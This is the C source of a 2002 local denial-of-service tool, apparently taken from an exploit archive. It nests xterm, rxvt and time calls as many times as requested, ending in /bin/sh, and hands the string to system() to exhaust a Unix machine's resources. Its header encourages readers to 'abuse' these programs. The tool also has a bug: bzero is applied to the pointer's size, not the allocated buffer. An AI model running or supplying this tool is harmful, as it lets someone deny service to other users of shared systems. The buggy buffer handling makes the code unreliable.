/*
 *  ( XTERM, RXVT, TIME ) Possible Denial Of Service Attack.
 *  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 *  combinations of the above programs , or each one sperately could cause DoS.
 *  while most linux got these stuff installed, and many other unixes, so get to abuse them,
 *  because xterm,rxvt & time permits execution of other programs.
 *  tested under slackware linux 7.1 & worked fine. should also work fine under *BSDs.
 *
 *  (c) 2002 killah @ hack . gr
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define XTERM_PATH  "/usr/X11R6/bin/xterm -e "
#define RXVT_PATH  "/usr/X11R6/bin/rxvt -e "
#define TIME_PATH  "/usr/bin/time "
#define LASTEXEC  "/bin/sh"  // put anything u like here.
#define SIZE    512
#define VERSION    "0.1"

int
main(int argc,char **argv)
{
   char *hope,mixed[SIZE];
   int counter,num,ch,sux=0;
   
   if(argc<3)
     {
  printf("\t >>XRT(Xterm,Rxvt,Time) DoS ver%s<<\n\n"
         "\t Usage : %s\n"
         " -n [number of times to run program]\n"
         " -x (for using xterm.)\n"
         " -r (for using rxvt.)\n" 
         " -t (for using time.)\n",VERSION,argv[0]);
  exit(EXIT_FAILURE);
     }
   bzero(mixed,sizeof(mixed));
   while((ch=getopt(argc,argv,"n:xrt"))!=EOF)
     {
  switch(ch)
    {
     case 'n':
       num=atoi(optarg);
       break;
     case 'x':
       strncat(mixed,XTERM_PATH,strlen(XTERM_PATH));
       sux=strlen(XTERM_PATH)+sux;
       break;
     case 'r':
       strncat(mixed,RXVT_PATH,strlen(RXVT_PATH));
       sux=strlen(RXVT_PATH)+sux;
       break;
     case 't':
       strncat(mixed,TIME_PATH,strlen(TIME_PATH));
       sux=strlen(TIME_PATH)+sux;
       break;
    }
     }
   hope=malloc(num*strlen(mixed)+4);
   bzero(hope,sizeof(hope));
   
   for(counter=0; counter<num; counter++)
     strncat(hope,mixed,strlen(mixed));
   
   strncat(hope,LASTEXEC,strlen(LASTEXEC));

//   printf("string generated is : [%s] [%u]\n",hope,sizeof(hope));
   system(hope);// wh0a, going for DoS!!!
   free(hope);//freeing memory captured by hope.
   return(EXIT_SUCCESS);//keep debugger happy.
}
/*EOF*/